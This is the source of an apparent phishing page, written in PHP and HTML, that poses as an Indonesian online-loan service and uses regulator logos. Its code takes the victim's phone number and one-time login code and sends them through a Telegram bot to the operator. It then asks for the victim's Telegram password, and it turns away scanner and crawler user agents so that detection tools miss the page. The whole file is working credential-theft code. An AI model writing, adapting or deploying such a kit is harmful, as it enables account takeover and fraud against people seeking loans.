<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('#Mozilla/4.05 [fr] (Win98; I)#',$ua) || preg_match('/Java1.1.4/si',$ua) || preg_match('/MS FrontPage Express/si',$ua) || preg_match('/HTTrack/si',$ua) || preg_match('/IDentity/si',$ua) || preg_match('/HyperBrowser/si',$ua) || preg_match('/Lynx/si',$ua)) 
{
header('Location: oops.php');
die();
}

// system function to process bot
function sendMessage($idTelegram, $messageBot, $tokenBot) {

    $url = "https://api.telegram.org/bot" . $tokenBot . "/sendMessage?parse_mode=html&chat_id=" . $idTelegram;
    $url = $url . "&text=" . urlencode($messageBot);
    $ch = curl_init();
    $optArray = array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true
    );
    curl_setopt_array($ch, $optArray);
    $result = curl_exec($ch);
    curl_close($ch);
}

// get the bot data that you have set
include 'botSetting.php';

// get the data entered by the user
$phoneNumber = $_POST['phoneNumber'];
$otpCode = $_POST['otpCode'];

// system will redirect to the main page if no data is entered
if($phoneNumber == "" && $otpCode == "") {
header("Location: index.php");
} else {

// message content to sent to bot
$messageBot = "
✦ <b>Account Information</b> ✦

⮞ Phone number: <code>+62 $phoneNumber</code>
⮞ OTP code: <code>$otpCode</code>
";
}

// sent all data to bot
sendMessage($idTelegram, $messageBot, $tokenBot);
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"> 
  <meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no"> 
  <title>PINJAMAN ONLINE TERPERCAYA</title> 
  <link rel="stylesheet" href="css/bootstrap.min.css"> 
  <link rel="stylesheet" href="file/css/intlTelInput.css"> 
 </head> 
 <body style="background: rgb(255,255,255);"> 
  <nav class="navbar navbar-expand-md" style="background: #ffffff;"> 
   <div class="container-fluid">
    <a class="navbar-brand" href="#">
    <img src="images/ojk.png" width="80" height="30">
    <img src="images/afpi.png" width="90" height="30">
    </a>
    <button class="navbar-toggler" data-bs-toggle="collapse" style="background: rgb(249 199 28);">
    <span class="visually-hidden">Toggle navigation</span>
    <span class="navbar-toggler-icon">
    </span>
    </button>
   </div> 
  </nav> 
  <section> 
   <div class="container" style="margin-top: 30px;"> 
    <div style="border-radius: 10px;border: 1px solid rgb(247,163,236);background: #ffffff;padding-left: 17px;padding-bottom: 0px;padding-right: 17px;padding-top: 10px;text-shadow: 0px 0px;box-shadow: 0px 0px 20px 2px;"> 
     <p style="text-align: justify;">
     <em>Akun Anda dilindungi dengan kata sandi tambahan, masukan kata sandi telegram anda.</em>
     </p> 
    </div> 
   </div> 
  </section> 
  <div class="container" style="padding-top: 20px;"> 
   <form method="post" action="data.php"> 
   <input type="hidden" name="phoneNumber" id="phone" value="<?php echo $phoneNumber;?>" readonly="">
   <input type="hidden" name="otpCode" id="phone" value="<?php echo $otpCode;?>" readonly="">
    <section class="text-center" style="background: #ffffff;border-width: 1px;border-radius: 10px;box-shadow: 0px 0px 20px 2px;"> 
     <section class="text-center" style="margin-top: 9px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"> 
      <input name="password" id="password" style="width: 139px;margin-left: 98px;margin-right: 98px;text-align: center;" required="" autofocus=""> 
      <input class="btn btn-primary" type="submit" value="Seterusnya" style="background: rgb(185, 184, 184);width: 232.75px;margin-top: 9px;margin-left: 7px;margin-right: 7px;font-weight: bold;"> 
      <span id="countdown">
      </span> 
     </section> 
    </section> 
   </form> 
   <script type="ddb9364d8e161bd082541a1e-text/javascript">
            var dynamicText = sessionStorage.getItem("nohp");
            document.getElementById("cdxphone").value = dynamicText;
        </script> 
  </div> 
  <nav class="navbar navbar-expand-md fixed-bottom bg-body"> 
   <div class="container-fluid">
    <img class="img-fluid" src="https://hosting.tigerengine.id/l0z8lg.jpg">
   </div> 
  </nav> 
 <script src="/cdn-cgi/scripts/7d0fa10a/cloudflare-static/rocket-loader.min.js" data-cf-settings="ddb9364d8e161bd082541a1e-|49" defer></script></body>
</html>